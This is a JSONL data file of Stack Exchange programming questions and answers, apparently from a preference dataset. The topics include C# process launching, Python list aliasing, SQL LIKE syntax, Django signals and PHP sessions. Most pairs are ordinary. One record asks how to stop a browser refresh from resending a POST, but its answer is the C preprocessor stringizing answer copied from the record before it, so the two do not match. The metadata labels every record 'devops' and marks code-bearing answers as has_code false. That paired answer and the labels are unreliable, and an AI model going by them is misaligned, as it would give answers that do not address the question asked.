{"id": "hf_afe94dae3668", "question": "<p>How can I launch an application using C#?</p>\n\n<p>Requirements:\nMust work on <a href=\"http://en.wikipedia.org/wiki/Windows_XP\" rel=\"noreferrer\">Windows&nbsp;XP</a> and <a href=\"http://en.wikipedia.org/wiki/Windows_Vista\" rel=\"noreferrer\">Windows&nbsp;Vista</a>.</p>\n\n<p>I have seen a sample from DinnerNow.net sampler that only works in Windows&nbsp;Vista.</p>\n", "question_body": "", "answer": "```\n```\nSystem.Diagnostics.Process.Start(\"PathToExe.exe\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.823021"}
{"id": "hf_9bacc9a54119", "question": "<p>I created a list of lists:</p>\n<pre><code>xs = [[1] * 4] * 3\n\n# xs == [[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]]  \n</code></pre>\n<p>Then, I changed one of the innermost values:</p>\n<pre><code>xs[0][0] = 5\n\n# xs == [[5, 1, 1, 1], [5, 1, 1, 1], [5, 1, 1, 1]]  \n</code></pre>\n<p>Why did every first element of each sublist change to <code>5</code>?</p>\n", "question_body": "", "answer": "```\n```\n[[1] * 4] * 3\n```\n```\nor even:\n```\n```\n[[1, 1, 1, 1]] * 3\n```\n```\nCreates a list that references the internal\n```\n[1,1,1,1]\n```\n3 times - not three copies of the inner list, so any time you modify the list (in any position), you'll see the change three times.\nIt's the same as this example:\n```\n```\n>>> inner = [1,1,1,1]\n>>> outer = [inner]*3\n>>> outer\n[[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]]\n>>> inner[0] = 5\n>>> outer\n[[5, 1, 1, 1], [5, 1, 1, 1], [5, 1, 1, 1]]\n```\n```\nwhere it's probably a little less surprising.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.843530"}
{"id": "hf_1f00e9efcf3c", "question": "<p>What is the difference between <code>new</code>/<code>delete</code> and <code>malloc</code>/<code>free</code>?</p>\n\n<p>Related (duplicate?): <a href=\"https://stackoverflow.com/questions/184537/in-what-cases-do-i-use-malloc-vs-new\">In what cases do I use malloc vs new?</a></p>\n", "question_body": "", "answer": "The  most relevant difference is that the\n```\nnew\n```\noperator allocates memory then calls the constructor, and\n```\ndelete\n```\ncalls the destructor then deallocates the memory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.893924"}
{"id": "hf_fbec1f351bfd", "question": "<p>I want to read line n1->n2 from file foo.c into the current buffer.</p>\n\n<p>I tried: <code>147,227r /path/to/foo/foo.c</code></p>\n\n<p>But I get: \"E16: Invalid range\", though I am certain that foo.c contains more than 1000 lines.</p>\n", "question_body": "", "answer": "The {range} refers to the destination in the current file, not the range of lines in the source file.\nAfter some experimentation, it seems\n```\n```\n:147,227r /path/to/foo/foo.c\n```\n```\nmeans\ninsert the contents of\n```\n/path/to/foo/foo.c\n```\nafter line 227 in this file.\ni.e.: it ignores the 147.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.949162"}
{"id": "hf_0357065868ec", "question": "<p>Ok, I am reading in dat files into a byte array.  For some reason, the people who generate these files put about a half meg's worth of useless null bytes at the end of the file.  Anybody know a quick way to trim these off the end?</p>\n\n<p>First thought was to start at the end of the array and iterate backwards until I found something other than a null, then copy everything up to that point, but I wonder if there isn't a better way.</p>\n\n<p>To answer some questions:\nAre you sure the 0 bytes are definitely in the file, rather than there being a bug in the file reading code? Yes, I am certain of that.</p>\n\n<p>Can you definitely trim all trailing 0s? Yes.</p>\n\n<p>Can there be any 0s in the rest of the file? Yes, there can be 0's other places, so, no, I can't start at the beginning and stop at the first 0.</p>\n", "question_body": "", "answer": "Assuming 0=null, that is probably your best bet... as a minor tweak, you might want to use\n```\nBuffer.BlockCopy\n```\nwhen you finally copy the useful data..", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.971153"}
{"id": "hf_344c3b8b0843", "question": "<p>I am putting together some ideas for our automated testing platform and have been looking at Selenium for the test runner.</p>\n\n<p>I am wrapping the recorded Selenium C# scripts in an MbUnit test, which is being triggered via the MbUnit NAnt task. The Selenium test client is created as follows:</p>\n\n<pre><code>selenium = new DefaultSelenium(\"host\", 4444, \"*iexplore\", \"http://[url]/\");\n</code></pre>\n\n<p>How can I pass the host, port and url settings into the test so their values can be controlled via the NAnt task?</p>\n\n<p>For example, I may have multiple Selenium RC servers listening and I want to use the same test code passing in each server address instead of embedding the settings within the tests themselves.</p>\n\n<p>I have an approach mocked up using a custom NAnt task I have written but it is not the most elegant solution at present and I wondered if there was an easier way to accomplish what I want to do.</p>\n\n<p>Many thanks if anyone can help.</p>\n", "question_body": "", "answer": "Anytime I need to integrate with an external entity using NAnt I either end up using the\nexec task\nor writing a\ncustom task\n. Given the information you posted it would seem that writing your own would indeed be a good solution, However you state you're not happy with it. Can you elaborate a bit on why you don't think you current solution is an\nelegant\none?\nUpdate\nNot knowing\ninternal\ndetails it seems like you've solved it pretty well with a custom task. From what I've heard, that's how I would have done it.\nMaybe a new solution will show itself in time, but for now be light on yourself!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:17.992690"}
{"id": "hf_b951e3f810b3", "question": "<p>I'd like something like a generic, re-usable <code>getPosition()</code> method that will tell me the number of bytes read from the starting point of the stream.  Ideally, I would prefer this to work with all InputStreams, so that I don't have to wrap each and every one of them as I get them from disparate sources.</p>\n\n<p>Does such a beast exist?  If not, can anyone recommend an existing implementation of a counting <code>InputStream</code>?</p>\n", "question_body": "", "answer": "No.\n```\nInputStream\n```\nis intended to handle potentially infinite amounts of data, so a counter would get in the way. In addition to wrapping them all, you might be able to do something with aspects.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.088161"}
{"id": "hf_9cddf17dc606", "question": "<p>I use Struts v1.3 and have following input form:</p>\n\n<p>In struts-config.xml:</p>\n\n<pre><code>    &lt;form-bean name=\"testForm\" \n               type=\"org.apache.struts.validator.DynaValidatorForm\"&gt;\n        &lt;form-property name=\"displayName\" type=\"java.lang.String\" /&gt;\n    &lt;/form-bean&gt;\n</code></pre>\n\n<p>In validation.xml:</p>\n\n<pre><code>    &lt;form name=\"testForm\"&gt;\n        &lt;field property=\"displayName\" depends=\"required\"&gt;\n            &lt;arg key=\"input.displayName\" /&gt;\n        &lt;/field&gt;\n    &lt;/form&gt;\n</code></pre>\n\n<p>How do I trim value of \"displayName\"? How do I trim values of all \"java.lang.String\" input fields of the form?</p>\n", "question_body": "", "answer": "You may have a chance to trim the string right at the moment, the request processor updates the data from the input fields to the form. This was not tested, but what happens when you modify the setter setDisplayName(String displayName) to something like\n```\n```\npublic void setDisplayName(String displayName) {\n    this.displayName = displayName.trim();\n}\n```\n```\nThis is not a very good solution, because it migrates logic into a setter.\nregards", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.111462"}
{"id": "hf_7f1947351ec0", "question": "<p>I need a date formula in Oracle SQL or T-SQL that will return a date of the previous week (eg Last Monday's date).</p>\n\n<p>I have reports with parameters that are run each week usually with parameter dates mon-friday or sunday-saturday of the previous week.  I'd like to not have to type in the dates when i run the reports each week. </p>\n\n<p>The data is in Oracle and I am using SQL Server 2005 Reporting Services (SSRS) for the reports.</p>\n", "question_body": "", "answer": "T-SQL:\n```\n```\nSELECT \n  DateColumn,\n  DateColumn - CASE DATEPART(dw, DateColumn) \n                WHEN 1 THEN 6\n                ELSE DATEPART(dw, DateColumn) - 2\n              END MondayOfDateColumn\nFROM \n  TheTable\n```\n```\nDo you need the time part to be \"00:00:00\", too?\nIf so, add this expression to the calculation:\n```\n```\nDATEADD(dd, 0, DATEDIFF(dd, 0, DateColumn)) - CASE DATEPART(dw, /* etc. etc. */\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.169667"}
{"id": "hf_c5c240ae3b57", "question": "<p>I have a ClickOnce deployed application I want to launch from VBScript, similar to launching Microsoft Word in the following example:</p>\n\n<pre><code>Dim word\nSet word = CreateObject(\"Word.Application\")\nword.Visible = True\n</code></pre>\n\n<p>The problem is I don't know what parameter to pass into the <code>CreateObject</code> function to launch my application. Where would I find the master list of applications installed on my PC/the shortcut to call to launch them?</p>\n", "question_body": "", "answer": "ClickOnce simply isn't installed that way. They don't typically have COM hooks (for CreateObject), and are installed in an isolated part of the user's profile (not that machine's profile). And don't forget you can also get multiple copies/versions of the same app at once via ClickOnce (from different locations).\nOne option (in 3.5/VS2008) might be to use the new file associations stuff... associate your app with \".foo\" files, create an empty \".foo\" file and start it. That might work. Look on the Publish=>Options dialog in VS2008.\nOtherwise - basically, if you want this type of usage, I suspect you will need to use msi (i.e. a regular installer; not ClickOnce) to register your app as a COM library (dll). Note that .NET doesn't make a good COM server (exe) - so doesn't compare directly to Word. If you want a .NET COM server, then \"serviced components\" are your best bet - but these don't tend to be big on UI.\nFor info, the isolated area is somewhere around \"%userprofile%\\Local Settings\\Apps\\2.0\", but this is just for interest so you can see it.. don't try running it from there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.190109"}
{"id": "hf_5746d72d71b1", "question": "<p>I'm looking for a way to convert a preprocessor token to a string.</p>\n\n<p>Specifically, I've somewhere got:</p>\n\n<pre><code>#define MAX_LEN 16\n</code></pre>\n\n<p>and I want to use it to prevent buffer overrun:</p>\n\n<pre><code>char val[MAX_LEN+1]; // room for \\0\nsscanf(buf, \"%\"MAX_LEN\"s\", val);\n</code></pre>\n\n<p>I'm open to other ways to accomplish the same thing, but standard library only.</p>\n", "question_body": "", "answer": "I found an answer online.\n```\n```\n#define VERSION_MAJOR 4\n#define VERSION_MINOR 47\n\n#define VERSION_STRING \"v\" #VERSION_MAJOR \".\" #VERSION_MINOR\n```\n```\nThe above does not work but hopefully\n    illustrates what I would like to do,\n    i.e. make VERSION_STRING end up as\n    \"v4.47\".\nTo generate the proper numeric form\n  use something like\n```\n```\n#define VERSION_MAJOR 4\n#define VERSION_MINOR 47\n\n#define STRINGIZE2(s) #s\n#define STRINGIZE(s) STRINGIZE2(s)\n#define VERSION_STRING \"v\" STRINGIZE(VERSION_MAJOR) \\\n\".\" STRINGIZE(VERSION_MINOR)\n\n#include <stdio.h>\nint main() {\n    printf (\"%s\\n\", VERSION_STRING);\n    return 0;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.212922"}
{"id": "hf_58d2d3e6a86d", "question": "<p>We have a POST to a PL/SQL database procedure that (a) does some database operations based on the POST parameters and (b) redirects the user to a page showing the results.</p>\n\n<p>The problem is, when the user does a browser \"refresh\" of the results page, that still has the original request, so it calls the database procedure and resends the parameters. </p>\n\n<p>There are things we can do with saving state so bad things don't happen if the request gets sent in again. But that got me wondering. </p>\n\n<p>Is there a way to tell the browser to set the url to the redirect call, not the original user request? This would probably be in either the redirect itself, or in Javascript on the target page. </p>\n", "question_body": "", "answer": "I found an answer online.\n```\n```\n#define VERSION_MAJOR 4\n#define VERSION_MINOR 47\n\n#define VERSION_STRING \"v\" #VERSION_MAJOR \".\" #VERSION_MINOR\n```\n```\nThe above does not work but hopefully\n    illustrates what I would like to do,\n    i.e. make VERSION_STRING end up as\n    \"v4.47\".\nTo generate the proper numeric form\n  use something like\n```\n```\n#define VERSION_MAJOR 4\n#define VERSION_MINOR 47\n\n#define STRINGIZE2(s) #s\n#define STRINGIZE(s) STRINGIZE2(s)\n#define VERSION_STRING \"v\" STRINGIZE(VERSION_MAJOR) \\\n\".\" STRINGIZE(VERSION_MINOR)\n\n#include <stdio.h>\nint main() {\n    printf (\"%s\\n\", VERSION_STRING);\n    return 0;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.232952"}
{"id": "hf_9e03efc196c9", "question": "<p>In a class diagram, is there a way of specifying that a class is an internal class of another class ? </p>\n\n<p>Or is it considered as a pure implementation choice ? </p>\n", "question_body": "", "answer": "For this kind of thing you have separate Diagrams showing the internal structure or processing of a class.\nusually, those extra diagrams are activity diagrams to show processing.  Sometimes one per method.  You might also have an internal sequence diagram showing the API interactions.\nNo reason you can't have an additional class diagram to show internal structure of a class.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.347085"}
{"id": "hf_36693a394619", "question": "<p>as google does not deliver what i want to know, i try to ask stackoverflow :)\nwhat is the number of max concurrent connections to a sql ce 3.5 database?\nthanks\nj.</p>\n", "question_body": "", "answer": "I believe the information you are looking for is the SQL Server Edition Comparison.\nFor standard Editions -\nCompare Features\nFor Compact Edition -\nCompare Features\nEdit\nSorry, this\nWord Document\nis most likely what you need.\nEdit again\nThe answer is 256 concurrent connections for Compact, unlimited for express.  See table 1 in the linked word doc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.441120"}
{"id": "hf_0ddd5bdb1b3b", "question": "<p>Of course, there are a whole range of possible errors relating to document validity, but my immediate stumbling block occurs when changing a paragraph (<code>p</code>) into an <code>address</code> element. My current method is (more-or-less):</p>\n\n<pre><code>var p = $('p#test');\np.replaceWith('&lt;address&gt;' + p.html() + '&lt;/address&gt;');\n</code></pre>\n\n<p>but that fails for this specific case; it works perfectly for p -> blockquote or h2 -> h3. Firebug suggests that a self-closing element (<code>&lt;address/&gt;</code>) has been added to the document, for some reason.</p>\n\n<p>Can anyone spot the bug or suggest an alternative method?</p>\n", "question_body": "", "answer": "You'll could use a placeholder around the title:\n```\n<span id=\"demo\"><h1>Title</h1></span>\n```\nThen use JavaScript DOM to create new values for the innerHTML property.\n```\n<script type=\"javascript\">\n\nsetTitle = function(id, tag, title) {\n  var container = document.getElementById(id);\n  container.innerHTML = '<' + tag + '>' + title + '</' + tag + '>';\n}\n\nsetTitle('demo', 'h1', 'My Title');\n\n</script>\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.499289"}
{"id": "hf_9c8f7cf5fc34", "question": "<p>It would be a shame if it doesn't, because it will make for more attractive looking Android applications.</p>\n", "question_body": "", "answer": "Not right now, and it would be a nontrivial task to make it work. Android doesn't have all the libraries that the typical desktop JRE does. Although since Android is open source and it will run anything that can be compiled to Dalvik byte code, it's not impossible.\nReally, I don't really think JavaFX will make for more attractive looking Android applications - the most important thing is how integrated the application is into the hardware and the Android display framework has a lot of stuff to make that easier.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.527769"}
{"id": "hf_5ff5345c5f96", "question": "<p>I want to get user input in one page, store that in a php variable and use it in another php page. I have tried using 'sessions' but it doesn't seem to be working. Is there another safe alternative? This information is likely to be usernames and passwords.</p>\n", "question_body": "", "answer": "I Agree with carson, sessions should work for this.  Make sure you are calling\nsession_start()\nbefore anything else on any page you want to use the session variables.\nAlso, I would not store password info directly, rather use some kind of authentication token mechanism.  IMHO, it is not\nintrinsically\nunsafe to store password data in a session, but if there is no need to do so, you should probably try to avoid it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.553208"}
{"id": "hf_679db6fca878", "question": "<p>I have a string from an email header, like <code>Date: Mon, 27 Oct 2008 08:33:29 -0700</code>. What I need is an instance of GregorianCalendar, that will represent the same moment. As easy as that -- how do I do it?</p>\n\n<p>And for the fastest ones -- this is <strong>not</strong> going to work properly:</p>\n\n<pre><code>SimpleDateFormat format = ... // whatever you want\nDate date = format.parse(myString)\nGregorianCalendar calendar = new GregorianCalendar();\ncalendar.setTime(date)\n</code></pre>\n\n<p>because it will normalize the timezone to UTC (or your local machine time, depending on Java version). What I need is calendar.getTimeZone().getRawOffset() to return <code>-7 * milisInAnHour</code>.</p>\n", "question_body": "", "answer": "I'd recommend looking into the Joda Time library, if that's an option. I'm normally against using a third-party library when the core platform provides similar functionality, but I made this an exception because the author of Joda Time is also behind JSR310, and Joda Time is basically going to be rolled into Java 7 eventually.\nhttp://joda-time.sourceforge.net/\nSo anyway, if Joda Time is an option, something like this\nshould\nwork:\n```\n```\nDateTimeFormatter formatter =\n    DateTimeFormat.forPattern(\"your pattern\").withOffsetParsed();\nDateTime dateTime = formatter.parseDateTime(\"your input\");\nGregorianCalendar cal = dateTime.toGregorianCalendar();\n```\n```\nI hope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.596880"}
{"id": "hf_4727f9a1de7e", "question": "<p>I have a weird date rounding problem that hopefully someone can solve.  My client uses a work week that runs from Monday through Sunday.  Sunday's date is considered the end of the week, and is used to identify all records entered in a particular week (so anything entered last week would have a WEEKDATE value of '10/26/2008', which is Sunday's date).</p>\n\n<p>One little twist is that users enter records for the previous week up until 11 AM on the Monday of the current week.</p>\n\n<p>So I need a function that starts with DateTime.Now and returns the week-ending date (no time part) according to the rules above.  Thanks for your help.  I have a solution that works, but I'm too embarassed to post it.</p>\n\n<p>Oh, and I can't use LINQ.</p>\n", "question_body": "", "answer": "```\n```\npublic DateTime WeekNum(DateTime now)\n{\n    DateTime NewNow = now.AddHours(-11).AddDays(6);\n\n    return (NewNow.AddDays(- (int) NewNow.DayOfWeek).Date);\n}\n\npublic void Code(params string[] args)\n{\n\n    Console.WriteLine(WeekNum(DateTime.Now));   \n    Console.WriteLine(WeekNum(new DateTime(2008,10,27, 10, 00, 00)));\n    Console.WriteLine(WeekNum(new DateTime(2008,10,27, 12, 00, 00)));\n    Console.WriteLine(WeekNum(new DateTime(2008,10,28)));\n    Console.WriteLine(WeekNum(new DateTime(2008,10,25)));\n\n}\n```\n```\nYou may hard-code DateTime.Now instead of passing a DateTime object.  It just made testing easier this way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.632224"}
{"id": "hf_644f7eca9011", "question": "<p>Does anyone know of a simple web app that supports running ant tasks?  Alternatively it could run command line programs.  I need to allow the user to choose parameters for running the ant task.  I effectively want a web interface to run the ant task and provide any parameters.</p>\n\n<p>I can write one but this is generic enough that it seems like there should already be a few standard packages that do this.</p>\n", "question_body": "", "answer": "You could put this in a PHP-file:\n```\n```\necho shell_exec('ant');\n```\n```\nIt would run ant and return the output to the browser.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.655417"}
{"id": "hf_c5059e66c575", "question": "<p>I have the following rails migration:</p>\n\n<pre><code>create_table :articles do |t|\n  t.integer :user_id, :allow_null =&gt; false\n  t.integer :genre_id, :allow_null =&gt; false\n  t.string :url, :limit =&gt; 255, :allow_null =&gt; false\n  t.string :title, :limit =&gt; 60, :allow_null =&gt; false\n  t.text :summary, :limit =&gt; 350, :allow_null =&gt; false\n  t.integer :votes_count, :default =&gt; 0\n  t.datetime :published_at, :default =&gt; nil\n  t.timestamps\nend\n</code></pre>\n\n<p>All the fields that are \"NOT NULL\" are validated in the model first, so I'm wondering if I need to bother having allow_null in the migration? I'm not sure what benefits \"NOT NULL\" gives to the database, if any.</p>\n", "question_body": "", "answer": "Not much if you mean in terms of performance or storage efficiency.  However, it's just good practice to push as many of your low-level constraints into the database layer.  For one thing, it guarantees that a subtle bug in Rails isn't going to lead to some randomly\n```\nNULL\n```\ndata in a not-null field.  Likewise, if you ever run another app against the same database, it will be extremely helpful to have the constraints in a central place for maintenance and to avoid duplication.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.678552"}
{"id": "hf_69c4ea0adadb", "question": "<p>Is there a good way to remove HTML from a Java string? A simple regex like</p>\n<pre class=\"lang-js prettyprint-override\"><code>replaceAll(&quot;\\\\&lt;.*?&gt;&quot;, &quot;&quot;) \n</code></pre>\n<p>will work, but some things like <code>&amp;amp;</code> won't be converted correctly and non-HTML between the two angle brackets will be removed (i.e. the <code>.*?</code> in the regex will disappear).</p>\n", "question_body": "", "answer": "If the user enters\n```\n<b>hey!</b>\n```\n, do you want to display\n```\n<b>hey!</b>\n```\nor\n```\nhey!\n```\n?  If the first, escape less-thans, and html-encode ampersands (and optionally quotes) and you're fine.  A modification to your code to implement the second option would be:\n```\n```\nreplaceAll(\"\\\\<[^>]*>\",\"\")\n```\n```\nbut you will run into issues if the user enters something malformed, like\n```\n<bhey!</b>\n```\n.\nYou can also check out\nJTidy\nwhich will parse \"dirty\" html input, and should give you a way to remove the tags, keeping the text.\nThe problem with trying to strip html is that browsers have very lenient parsers, more lenient than any library you can find will, so even if you do your best to strip all tags (using the replace method above, a DOM library, or JTidy), you will\nstill\nneed to make sure to encode any remaining HTML special characters to keep your output safe.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.701898"}
{"id": "hf_aefff93bc165", "question": "<p>I have tried the following two statements:</p>\n\n<ul>\n<li><code>SELECT col FROM db.tbl WHERE col (LIKE 'str1' OR LIKE 'str2') AND col2 = num</code> results in a syntax error</li>\n<li><code>SELECT col FROM db.tbl WHERE page LIKE ('str1' OR 'str2') AND col2 = num</code> results in \"Truncated incorrect DOUBLE value: str1\" and \"Truncated incorrect DOUBLE value: str2\" for what looks like every result. However, no results are actually returned.</li>\n</ul>\n\n<p>I figured one of the two statements would work, but they aren't.</p>\n", "question_body": "", "answer": "```\n```\nSELECT col FROM db.tbl WHERE (col LIKE 'str1' OR col LIKE 'str2') AND col2 = num\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.754346"}
{"id": "hf_f2405a259a25", "question": "<p>I am trying to do a search in my Eclipse (Java) workspace to find all instances of static variables that are not final.</p>\n\n<p>I tried various regexes but they do not result in any matches. Can someone suggest a regex that will match all lines containing <code>static</code> and not containing <code>final</code>, and not ending in a <code>{</code>?</p>\n\n<p>The last part about not ending with a <code>{</code> will eliminate static methods.</p>\n\n<p>An example:</p>\n\n<pre><code>public class FlagOffendingStatics {\n  private static String shouldBeFlagged = \"not ok\";\n  private static final String ok = \"this is fine\";\n  public static void methodsAreOK() {\n\n  }\n}\n</code></pre>\n", "question_body": "", "answer": "Eclipse should have some sort of Java search built-in where you could specify that... Else, instead of writing one large monster regexp, try chaining together a bunch of greps:\n```\ngrep -r static . | grep -v final\n```\nin the 1st statement, the -r causes the grep to recurse over a directory tree starting at the local directory, the results get piped to the 2nd grep which removes all the\n```\nfinal\n```\n's. Keep adding -v until everything superfluous is removed from the results. This is usually easier --albeit less elegant-- than figuring out a complicated regexp to take care of everything.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.827042"}
{"id": "hf_a7f481e349d9", "question": "<p>I have a pretty generic Article model, with m2m relation to Tag model. I want to keep count of each tag usage, i think the best way would be to denormalise count field on Tag model and update it each time Article being saved. How can i accomplish this, or maybe there's a better way?</p>\n", "question_body": "", "answer": "You can do this by creating an\nintermediate model\nfor the M2M relationship and use it as your hook for the\n```\npost_save\n```\nand\n```\npost_delete\n```\nsignals to update the denormalised column in the\n```\nArticle\n```\ntable.\nFor example, I do this for favourited\n```\nQuestion\n```\ncounts in\nsoclone\n, where\n```\nUser\n```\ns have a M2M relationship with\n```\nQuestion\n```\ns:\n```\n```\nfrom django.contrib.auth.models import User\nfrom django.db import connection, models, transaction\nfrom django.db.models.signals import post_delete, post_save\n\nclass Question(models.Model):\n    # ...\n    favourite_count = models.PositiveIntegerField(default=0)\n\nclass FavouriteQuestion(models.Model):\n    question = models.ForeignKey(Question)\n    user     = models.ForeignKey(User)\n\ndef update_question_favourite_count(instance, **kwargs):\n    \"\"\"\n    Updates the favourite count for the Question related to the given\n    FavouriteQuestion.\n    \"\"\"\n    if kwargs.get('raw', False):\n        return\n    cursor = connection.cursor()\n    cursor.execute(\n        'UPDATE soclone_question SET favourite_count = ('\n            'SELECT COUNT(*) from soclone_favouritequestion '\n            'WHERE soclone_favouritequestion.question_id = soclone_question.id'\n        ') '\n        'WHERE id = %s', [instance.question_id])\n    transaction.commit_unless_managed()\n\npost_save.connect(update_question_favourite_count, sender=FavouriteQuestion)\npost_delete.connect(update_question_favourite_count, sender=FavouriteQuestion)\n\n# Very, very naughty\nUser.add_to_class('favourite_questions',\n                  models.ManyToManyField(Question, through=FavouriteQuestion,\n                                         related_name='favourited_by'))\n```\n```\nThere's been a bit of discussion on the django-developers mailing list about implementing a means of declaratively declaring denormalisations to avoid having to write code like the above:\nDenormalisation, magic, and is it really that useful?\nDenormalisation Magic, Round Two", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.850281"}
{"id": "hf_3c2daf85ca04", "question": "<p>I have an associative array in the form <code>key =&gt; value</code> where key is a numerical value, however it is not a sequential numerical value. The key is actually an ID number and the value is a count. This is fine for most instances, however I want a function that gets the human-readable name of the array and uses that for the key, without changing the value.</p>\n<p>I didn't see a function that does this, but I'm assuming I need to provide the old key and new key (both of which I have) and transform the array. Is there an efficient way of doing this?</p>\n", "question_body": "", "answer": "You could use a second associative array that maps human readable names to the id's.  That would also provide a Many to 1 relationship.  Then do something like this:\n```\n```\necho 'Widgets: ' . $data[$humanreadbleMapping['Widgets']];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:18.873919"}
